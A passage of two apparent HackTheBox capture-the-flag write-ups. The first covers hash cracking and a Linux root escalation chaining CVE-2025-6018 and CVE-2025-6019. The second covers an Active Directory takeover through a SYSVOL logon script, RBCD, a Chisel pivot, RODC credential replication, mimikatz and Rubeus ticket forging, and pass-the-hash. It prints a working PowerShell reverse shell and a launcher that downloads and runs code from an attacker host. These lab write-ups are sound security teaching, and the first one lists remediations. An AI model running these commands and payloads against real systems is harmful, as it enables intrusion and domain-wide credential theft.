This returns two bcrypt password hashes. Bcrypt hashes need to be cracked (not decrypted), so they were saved to a file and run through john:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2026-02-11 01:00) 0g/s 81.08p/s 178.3c/s 178.3C/s manuel..jessie
0g 0:00:00:03 0.00% (ETA: 2026-02-11 06:48) 0g/s 80.00p/s 171.4c/s 171.4C/s oliver..brenda
0g 0:00:00:05 0.00% (ETA: 2026-02-11 12:24) 0g/s 78.41p/s 163.9c/s 163.9C/s simple..nicole1
0g 0:00:00:38 0.02% (ETA: 2026-02-11 23:46) 0g/s 70.81p/s 141.6c/s 141.6C/s 159159..outlaw
!QAZ2wsx         (?)
1g 0:00:05:11 0.20% (ETA: 2026-02-10 21:40) 0.003213g/s 112.4p/s 157.0c/s 157.0C/s 052204..yadiel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

john recovers the candidate password !QAZ2wsx. Although it comes back tagged as an unresolved user ((?)) mid-session, it's the only hit against the two loaded hashes - confirmed against phileasfogg3 in the next step.

4.1 SSH Foothold

Although a shell was already available via the web RCE, SSH provides a more stable session and is generally required for the privilege escalation techniques used later.

ssh phileasfogg3@pterodactyl.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(phileasfogg3@pterodactyl.htb) Password: !QAZ2wsx
Have a lot of fun...
Last login: Mon Feb  9 18:24:39 2026 from <ATTACKER-IP>
phileasfogg3@pterodactyl:~> whoami
phileasfogg3
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> groups
users

sudo -l was checked as a matter of course:

phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
    LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults,
    secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

This looks like unrestricted sudo at first glance, but the targetpw Defaults entry changes what password sudo actually asks for: instead of phileasfogg3's own password, it requires the target account's password (i.e. root's). Since that isn't known, this (ALL) ALL grant is a dead end without a separate route to root - confirming that no directly usable sudo/SUID path exists here, and pushing enumeration toward the system's D-Bus/Polkit stack instead.

5. Privilege Escalation

Initial manual enumeration (sudo -l, SUID search) didn't reveal a usable path, so a deeper pass was run with linpeas.sh.

Reviewing the linpeas.sh output flagged SUID-related activity involving D-Bus, mount, and udisks. Since disk-management operations run with elevated privileges, this immediately suggested a possible authorization bypass. udisks is a daemon that manages disks, partitions, and mount operations; runs as root; and exposes its functionality over D-Bus. The relevant trust chain is:

User -> D-Bus -> udisksd (root) -> Polkit (authorization)

Enumerating the relevant binaries and services confirmed the daemon was present and running:

phileasfogg3@pterodactyl:/tmp> ls -l /usr/lib/polkit-1/polkitd
-rwxr-xr-x 1 root root 113104 Jul 15  2025 /usr/lib/polkit-1/polkitd
phileasfogg3@pterodactyl:/tmp> busctl list | grep -i udisks
org.freedesktop.UDisks2                            (activatable) -

phileasfogg3@pterodactyl:/tmp> ls /usr/lib/udisks2/
udisksd

This led to CVE-2025-6019.

PoC used: guinea-offensive-security/CVE-2025-6019

5.1 CVE-2025-6019 - libblockdev/udisks LPE

A Local Privilege Escalation vulnerability was found in libblockdev. Generally, the allow_active setting in Polkit permits a physically-present user to perform certain actions based on session type. Due to how libblockdev interacts with the udisks daemon, an allow_active user can escalate to full root privileges on the target host.

The catch: CVE-2025-6019 requires the attacker to be classified as an allow_active (physically present) user. SSH sessions aren't considered physically present by default, so this condition wasn't satisfied - an additional bug was needed to promote the session first.

5.2 CVE-2025-6018 - PAM allow_active Escalation

The OS version was checked to look for something that could bridge this gap:

phileasfogg3@pterodactyl:~> cat /etc/os-release
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"

openSUSE Leap 15.6, combined with known CVEs against that release, led to CVE-2025-6018:

A Local Privilege Escalation vulnerability in pam-config within Linux Pluggable Authentication Modules (PAM). The flaw allows an unprivileged local attacker to obtain elevated privileges normally reserved for a physically-present allow_active user. An attacker with low-privilege local access (e.g. via SSH) could bypass authentication controls, perform Polkit actions typically restricted to console users, gain unauthorized control over system configuration and services, and potentially compromise system integrity, confidentiality, and availability.

PoC used: ibrahmsql/CVE-2025-6018

5.3 Escalating to allow_active

python3 CVE-2025-6018.py -i <MACHINE-IP> -u phileasfogg3 -p '!QAZ2wsx'

This opens a reverse shell running in an allow_active Polkit session context - satisfying the precondition CVE-2025-6019 needs.

5.4 Hosting the CVE-2025-6019 Exploit Files

# On the attacker machine
python3 -m http.server 8000

CVE-2025-6019's PoC needs a crafted XFS filesystem image, generated locally first:

sudo bash exploit.sh

PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[+] All dependencies are installed.
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): l
[*] Creating a 300 MB XFS image on local machine...
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.364347 s, 863 MB/s
meta-data=./xfs.image            isize=512    agcount=4, agsize=19200 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=1
         =                       reflink=1    bigtime=1 inobtcount=1 nrext64=1
data     =                       bsize=4096   blocks=76800, imaxpct=25
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1, parent=0
log      =internal log           bsize=4096   blocks=16384, version=2
realtime =none                   extsz=4096   blocks=0, rgcount=0
[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:

The generated xfs.image was downloaded onto the victim (over the reverse shell from the allow_active escalation):

wget http://<ATTACKER-IP>:8000/xfs.image

exploit.sh itself was also fetched. Before running it, its dependencies check function (called near the bottom of the script) needs removing, since the required tooling isn't present on the target and the check would otherwise abort the run:

wget http://<ATTACKER-IP>:8000/exploit.sh
chmod +x exploit.sh
bash exploit.sh

5.5 Triggering the Exploit on the Target

exploit$ ./exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): C
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 17836)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.MSMGK3/bash

The allow_active status confirmation is the key line - it proves the CVE-2025-6018 escalation from the previous step actually took effect. From there, the exploit races a crafted XFS mount through udisks and lands a SUID bash binary.

5.6 Root Flag

bash-5.3# whoami
root
bash-5.3# cd /root
bash-5.3# cat root.txt
HTB{REDACTED}

6. Attack Chain Summary

Initial Enumeration
│
├─ Nmap Scan
│  ├─ Port 22 → SSH
│  └─ Port 80 → HTTP (static landing page)
│
├─ Information Disclosure
│  └─ changelog.txt → Pterodactyl Panel v1.11.10, MariaDB, PHP-PEAR enabled
│
├─ Virtual Host Enumeration
│  └─ panel.pterodactyl.htb discovered
│
├─ Web Application Exploitation
│  └─ CVE-2025-49132
│     └─ Unauthenticated RCE via /locales/locale.json (PEAR deserialization)
│
├─ Initial Access
│  └─ Reverse shell as wwwrun
│
├─ Post-Exploitation
│  ├─ Enumerate Laravel files
│  └─ Discover .env configuration file
│
├─ Credential Discovery
│  └─ Extract MariaDB credentials
│
├─ Database Enumeration
│  ├─ Dump users table
│  └─ Extract bcrypt password hashes
│
├─ Credential Attack
│  └─ Crack hash using John the Ripper → phileasfogg3
│
├─ Lateral Movement
│  └─ SSH access as phileasfogg3 (user flag)
│     └─ sudo -l shows (ALL) ALL, but targetpw blocks direct use
│
├─ Local Enumeration
│  └─ Identify D-Bus / udisks / polkit trust chain (linpeas + manual)
│
├─ Privilege Escalation Chain
│  ├─ CVE-2025-6018
│  │  └─ Convert SSH session to allow_active
│  │
│  └─ CVE-2025-6019
│     └─ Exploit libblockdev/udisks via crafted XFS mount → SUID bash
│
└─ Root Access
   └─ Read /root/root.txt

7. Key Vulnerabilities

#	Vulnerability	Impact
1	Exposed `changelog.txt` disclosing Pterodactyl Panel version, DB backend, and PHP-PEAR status	Enables precise, targeted vulnerability research
2	CVE-2025-49132 (Pterodactyl Panel)	Unauthenticated remote code execution via PHP-PEAR deserialization
3	Database credentials stored in the Laravel `.env` file, readable post-RCE	Allows attackers to access and dump the MariaDB backend
4	Weak user password (bcrypt hash crackable via rockyou.txt)	Enables SSH login as `phileasfogg3`
5	Misleading `sudo -l` grant (`(ALL) ALL` gated by `targetpw`)	Not directly exploitable, but highlights confusing/overlooked sudo configuration
6	CVE-2025-6018 (pam-config)	Converts a remote SSH session into an `allow_active` session
7	CVE-2025-6019 (libblockdev / udisks / Polkit)	Local privilege escalation to root via a crafted filesystem mount

8. Remediations

Vulnerability	Recommendation
Exposed `changelog.txt`	Remove changelogs, README files, and other version-disclosing artifacts from production web roots
CVE-2025-49132 (Pterodactyl Panel RCE)	Upgrade to Pterodactyl Panel 1.11.11 or later; disable PHP-PEAR in production unless explicitly required
Database credentials in `.env` readable post-compromise	Restrict filesystem permissions on `.env` to the web service user only; consider a secrets manager instead of a flat file for production credentials
Weak/crackable user password	Enforce strong, non-dictionary passwords; screen against breach/wordlist databases such as `rockyou.txt`
Confusing `sudo` configuration (`(ALL) ALL` + `targetpw`)	Avoid broad `ALL) ALL` grants even when gated by `targetpw`; audit `sudoers` entries for unintended or misleading permissions
CVE-2025-6018 (PAM `allow_active` escalation)	Patch PAM/`pam-config` to a fixed version; monitor for unexpected Polkit `allow_active` session grants from non-console sessions
CVE-2025-6019 (libblockdev/udisks LPE)	Patch `libblockdev`/`udisks` to a fixed version; restrict which users/sessions can invoke `udisks` mount operations via Polkit policy
Lack of monitoring on Polkit/D-Bus privileged operations	Deploy detection for anomalous `udisks`/`polkit` activity, unexpected loop-device creation, and SUID binary creation in world-writable paths like `/tmp`

HackTheBox : Garfield Writeup

Yogeshwar Peela — Sun, 19 Jul 2026 14:31:38 +0000

Summary

Garfield is a Windows Active Directory box centered on an attack path that's invisible to standard BloodHound collection: SYSVOL file-level write access that isn't reflected in AD object ACLs. Starting from HTB-provided credentials for j.arbuckle, SMB/LDAP enumeration and a BloodHound sweep surface a promising-looking chain (l.wilson -> l.wilson_adm -> RODC01) but no way in as l.wilson itself - until manual SMB testing reveals write access to SYSVOL logon scripts, a GPO delegation artifact BloodHound doesn't model. A malicious logon script (.bat launcher + in-memory PowerShell reverse shell) planted via SYSVOL and assigned to l.wilson's scriptPath yields a shell on next login.

From there, l.wilson resets l.wilson_adm's password directly (a delegated right), giving the user flag. l.wilson_adm holds WRITE on the RODC01 computer object, enabling Resource-Based Constrained Delegation (RBCD) via a self-created fake machine account - but RODC01 turns out to sit on an internal-only network segment (the DC is dual-homed), reachable only via a Chisel SOCKS tunnel. Once pivoted in, RBCD is used to request a service ticket impersonating Administrator against RODC01, l.wilson_adm is added to the RODC Administrators group, and the RODC's Password Replication Policy is modified to allow it to cache the real Administrator's credentials. Forcing replication and dumping the RODC's krbtgt key with mimikatz enables both a RODC Golden Ticket and a Key List Attack, ultimately yielding the domain Administrator's NTLM hash and full domain compromise via Pass-the-Hash.

Key techniques: SMB credential leak -> BloodHound-invisible SYSVOL write access -> malicious logon script (fileless PowerShell reverse shell) -> delegated password reset -> RBCD against a writable RODC computer object -> internal network pivot via Chisel -> RODC group/PRP abuse -> forced credential replication -> RODC krbtgt extraction -> Golden Ticket / Key List Attack -> Pass-the-Hash as Administrator.

1. Reconnaissance

An nmap scan was run to identify open ports and services.

nmap -sC -sV -A <MACHINE-IP> -oA nmap-garfield

Nmap scan report for garfield.htb (<MACHINE-IP>)
Host is up (0.27s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-05 03:04:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T03:04:43+00:00
|_ssl-date: 2026-04-05T03:05:23+00:00; +8h00m01s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
|_http-server-header: Microsoft-HTTPAPI/2.0
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-05T03:04:45
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

Nmap done: 1 IP address (1 host up) scanned in 138.23 seconds

This is a Windows Active Directory Domain Controller. HTB provided a credential leak for this box: j.arbuckle.

1.1 DNS Enumeration

dig @dc01.garfield.htb any garfield.htb

;; ANSWER SECTION:
garfield.htb.           600     IN      A       <MACHINE-IP>
garfield.htb.           3600    IN      NS      dc01.garfield.htb.
garfield.htb.           3600    IN      SOA     dc01.garfield.htb. hostmaster.garfield.htb. 319 900 600 86400 3600
garfield.htb.           600     IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

;; ADDITIONAL SECTION:
dc01.garfield.htb.      3600    IN      A       192.168.100.1
dc01.garfield.htb.      3600    IN      A       <MACHINE-IP>
dc01.garfield.htb.      3600    IN      AAAA    dead:beef::5a16:a5c9:fba3:d037

The presence of a 192.168.x.x address alongside the public one indicates the domain controller is dual-homed - it also sits on an internal network segment not directly reachable from the attacker machine. This becomes relevant later.

1.2 SMB/LDAP Enumeration

Shares and users were enumerated with the leaked credentials:

nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
SMB   <MACHINE-IP>   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   <MACHINE-IP>   445   DC01   [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated shares
SMB   <MACHINE-IP>   445   DC01   Share           Permissions     Remark
SMB   <MACHINE-IP>   445   DC01   -----           -----------     ------
SMB   <MACHINE-IP>   445   DC01   ADMIN$                          Remote Admin
SMB   <MACHINE-IP>   445   DC01   C$                              Default share
SMB   <MACHINE-IP>   445   DC01   IPC$            READ            Remote IPC
SMB   <MACHINE-IP>   445   DC01   NETLOGON        READ            Logon server share
SMB   <MACHINE-IP>   445   DC01   SYSVOL          READ            Logon server share

nxc smb <MACHINE-IP> -u 'garfield.htb\j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB   <MACHINE-IP>   445   DC01   -Username-                    -Last PW Set-       -BadPW- -Description-
SMB   <MACHINE-IP>   445   DC01   Administrator                 2025-10-03 17:29:26 0       Built-in account for administering the computer/domain
SMB   <MACHINE-IP>   445   DC01   Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB   <MACHINE-IP>   445   DC01   krbtgt                        2025-08-13 11:05:26 0       Key Distribution Center Service Account
SMB   <MACHINE-IP>   445   DC01   krbtgt_8245                   2025-08-17 11:33:39 0       Key Distribution Center service account for read-only domain controller
SMB   <MACHINE-IP>   445   DC01   j.arbuckle                    2025-09-09 15:50:55 0
SMB   <MACHINE-IP>   445   DC01   l.wilson                      2026-01-27 21:40:33 0
SMB   <MACHINE-IP>   445   DC01   l.wilson_adm                  2026-01-13 14:56:35 0
SMB   <MACHINE-IP>   445   DC01   [*] Enumerated 7 local users: GARFIELD

Nothing directly exploitable surfaced here, so the next step was a full BloodHound sweep. The presence of krbtgt_8245 - a second KDC service account tied to a read-only domain controller (RODC) - is worth noting for later.

2. Active Directory Enumeration

bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc DC01.garfield.htb -c All

Ingesting the collected data into BloodHound revealed a useful, if incomplete, chain:

l.wilson -> can reset the password of l.wilson_adm
l.wilson_adm -> can self-add to RODC01 Administrators@garfield.htb
l.wilson_adm -> can change the password of RODC01.garfield.htb

These paths are promising, but all of them require access to l.wilson first - and nothing in the graph explains how to get there.

3. Initial Foothold via SYSVOL

3.1 The BloodHound Blind Spot

This attack path doesn't appear in BloodHound because of a structural limitation:

Object vs. file permissions - BloodHound models Active Directory object ACLs, but does not analyze NTFS permissions inside SYSVOL.
GPO delegation mismatch - Administrative delegation (e.g. "Manage Logon Scripts") often grants write access to SYSVOL files without touching the AD object's own ACL.

The result: attack paths relying on file-level SYSVOL access remain invisible in the BloodHound graph.

j.arbuckle is a member of the IT Support group, which prompted manual validation of accessible network shares beyond what BloodHound reported. Using smbclient, the group turned out to have write access to logon scripts:

# Verify write access
smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c "cd garfield.htb\scripts; put /etc/hosts test.txt"

putting file /etc/hosts as \garfield.htb\scripts\test.txt (1.9 kB/s) (average 1.9 kB/s)

The upload succeeded - confirming write access to logon scripts, a path invisible to the BloodHound graph but sufficient to compromise l.wilson, which in turn opens the l.wilson_adm -> RODC01 chain already identified.

3.2 Reverse Shell Payload

A two-stage payload was used to execute code via AD logon scripts:

A .bat launcher (evil.bat) as the logon script itself
A PowerShell reverse shell (shell.ps1), downloaded and executed in memory by the launcher

PowerShell payload (shell.ps1):

$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER-IP>",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Logon script launcher (evil.bat):

@echo off
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER-IP>/shell.ps1')"

This downloads and executes the PowerShell payload entirely in memory (fileless execution) - avoiding writing suspicious files to disk and allowing quick payload iteration.

3.3 Hosting and Uploading the Payload

python3 -m http.server 80

smbclient //<MACHINE-IP>/SYSVOL -U 'garfield.htb/j.arbuckle%Th1sD4mnC4t!@1978' \
  -c "cd garfield.htb\scripts; put /path/to/evil.bat evil.bat"

Start a listener:

nc -lnvp 4444

Set l.wilson's logon script path to point at the malicious script:

bloodyAD -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --host <MACHINE-IP> \
  set object l.wilson scriptPath -v "evil.bat"

When l.wilson next logs in, the logon script runs and a reverse shell connects back to the attacker.

Note: Logon scripts only execute during authentication, so this attack is timing-dependent. Options to speed things up include waiting for a natural login, forcing authentication where possible, or targeting a user known to log in frequently.

4. Lateral Movement

BloodHound had already flagged that l.wilson can change the password of l.wilson_adm.

4.1 Resetting the Password for l.wilson_adm

From the shell obtained as l.wilson:

$user = [ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
$user.SetPassword("Password12!")
$user.SetInfo()

4.2 User Flag

evil-winrm -i <MACHINE-IP> -u 'l.wilson_adm' -p 'Password12!'

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> type C:\Users\l.wilson_adm\Desktop\User.txt
HTB{REDACTED}

5. Privilege Escalation

5.1 Writable Objects

With l.wilson_adm compromised, writable AD objects were enumerated:

bloodyAD --host garfield.htb -u l.wilson_adm -p 'Password12!' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
permission: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb

WRITE on the RODC01 computer object allows modification of its attributes - including msDS-AllowedToActOnBehalfOfOtherIdentity. Controlling that attribute lets an attacker-controlled machine account impersonate any user when authenticating to RODC01: Resource-Based Constrained Delegation (RBCD).

5.2 Resource-Based Constrained Delegation (RBCD)

With WRITE access over RODC01, the plan was to:

Create a machine account fully controlled by the attacker
Configure RBCD on RODC01 pointing at that account
Impersonate a privileged user (Administrator) when requesting a service ticket
Gain remote access to RODC01

An initial connection attempt to RODC01 failed outright. Recalling the dual-homed DC discovered during recon, and now knowing the hostname RODC01.garfield.htb, a DNS lookup was the next step.

5.3 Internal Network Discovery

dig @dc01.garfield.htb RODC01.garfield.htb

;; ANSWER SECTION:
RODC01.garfield.htb.    1200    IN      A       192.168.100.2

RODC01 resolves to 192.168.100.2 - an RFC1918 private address, confirming the host sits on the internal-only network segment behind the dual-homed DC and isn't directly reachable from the attacker machine.

5.4 Pivoting via Chisel

A Chisel server was started on the attacker machine:

chisel server -p 8000 --reverse

Chisel was uploaded to the l.wilson_adm session and connected back to establish a reverse SOCKS tunnel:

upload /path/to/chisel.exe
.\Chisel.exe client <ATTACKER-IP>:8000 R:socks

Proxychains was then configured to route through the tunnel:

sudo nano /etc/proxychains4.conf
# Ensure:
socks5 127.0.0.1 1080

Connectivity to the internal network was verified:

proxychains nmap -p445 -Pn 192.168.100.2

PORT    STATE    SERVICE
445/tcp filtered microsoft-ds

Although the port shows filtered rather than open, receiving any response via proxychains confirms traffic is being successfully routed through the tunnel into the internal segment.

5.5 RBCD Exploitation

With l.wilson_adm controlled and a route to RODC01 established, the RBCD chain was executed to ultimately abuse RODC-specific replication controls and extract sensitive credentials.

Add l.wilson_adm to RODC Administrators:

Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
Get-ADGroupMember "RODC Administrators"

Group membership changes require a new logon session to take effect, so the WinRM session was reconnected:

evil-winrm -i <MACHINE-IP> -u l.wilson_adm -p 'Password12!'

1. Add a fake computer account. By default, domain users can create a limited number of machine accounts (ms-DS-MachineAccountQuota), which is enough to create a fully attacker-controlled computer object required for RBCD:

addcomputer.py -dc-ip <MACHINE-IP> \
  -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123!' \
  'garfield.htb/l.wilson_adm:Password12!'

2. Delegate RODC01 to the fake computer:

rbcd.py -delegate-to 'RODC01$' \
  -delegate-from 'EVIL$' \
  -action write \
  'garfield.htb/l.wilson_adm:Password12!' \
  -dc-ip <MACHINE-IP>

3. Request a service ticket for RODC01, impersonating Administrator:

proxychains getST.py \
  garfield.htb/'EVIL$':'EvilPass123!' \
  -spn cifs/RODC01.garfield.htb \
  -impersonate Administrator \
  -dc-ip <MACHINE-IP>

4. Export and use the ticket:

export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'

5. Connect via wmiexec:

proxychains wmiexec.py -k -no-pass \
  -target-ip 192.168.100.2 \
  'garfield.htb/Administrator@RODC01.garfield.htb'

5.6 Forcing Credential Replication

RODCs don't cache all domain credentials by default - only accounts explicitly permitted by the Password Replication Policy (PRP). The policy was modified to allow replication of the real Administrator account.

PowerView.ps1 (bundled by default on Kali) was uploaded to the l.wilson_adm session:

locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1

upload /path/to/powerview.ps1

Configure the RODC to cache Administrator credentials:

Import-Module .\PowerView.ps1

Set-DomainObject -Identity RODC01$ -Set @{
  'msDS-RevealOnDemandGroup'=@(
    'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
    'CN=Administrator,CN=Users,DC=garfield,DC=htb'
  )
}

Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'

Force credential replication:

repadmin /rodcpwdrepl RODC01 DC01 "CN=Administrator,CN=Users,DC=garfield,DC=htb"

Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.

5.7 Extracting Keys and Forging Tickets

With the real Administrator's credentials now cached on the RODC, its krbtgt_8245 key (the RODC-specific KDC key) was dumped with mimikatz:

mimikatz.exe lsadump::dcsync /user:garfield\krbtgt_8245

Forging a RODC Golden Ticket using the extracted key (Rubeus uploaded to the RODC01 shell):

Note: Use Rubeus v2.3.3 or later - older versions silently ignore the /keyList flag.

.\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap \
  /outfile:ticket.kirbi /aes256:<AES_KEY> /user:Administrator /id:500 \
  /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357

Key List Attack - using the same extracted key to request a full-privilege TGS and recover the Administrator's NTLM hash:

.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb \
  /dc:DC01.garfield.htb \
  /ticket:ticket_2026_04_05_12_11_04_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /nowrap

This returns the domain Administrator's NT hash, usable directly with Pass-the-Hash.

6. Root Flag

evil-winrm -i <MACHINE-IP> -u Administrator -H 'EE..............2D5'

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         4/4/2026  11:55 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}

7. Attack Chain Summary

Initial Access
│
├─ Credential Leak (j.arbuckle)
│
├─ Reconnaissance
│   ├─ Nmap → Domain Controller identified (DC01)
│   ├─ DNS → Dual-homed DC (public + 192.168.x.x)
│   └─ SMB/LDAP → Users & shares enumerated
│
├─ BloodHound Analysis
│   └─ Attack path identified (incomplete):
│       l.wilson → l.wilson_adm → RODC01
│
├─ Initial Foothold (SYSVOL Abuse - BloodHound blind spot)
│   ├─ Write access to SYSVOL logon scripts (not in AD ACLs)
│   ├─ Upload malicious script (evil.bat + shell.ps1)
│   ├─ Set scriptPath for l.wilson
│   └─ Reverse shell as l.wilson (on next logon)
│
├─ Lateral Movement
│   ├─ Reset password of l.wilson_adm
│   └─ WinRM access as l.wilson_adm (user flag)
│
├─ Privilege Escalation (AD Abuse)
│   ├─ Enumerate writable objects
│   ├─ WRITE access on RODC01
│   └─ Resource-Based Constrained Delegation (RBCD)
│       ├─ Create fake machine account (EVIL$)
│       ├─ Configure delegation on RODC01
│       ├─ Request TGS impersonating Administrator
│       └─ Access RODC01 (via internal network)
│
├─ Network Pivoting
│   ├─ Identify internal IP (192.168.100.2)
│   ├─ Chisel reverse SOCKS tunnel
│   └─ Proxychains → internal network access
│
├─ Domain Compromise via RODC
│   ├─ Add l.wilson_adm to RODC Administrators
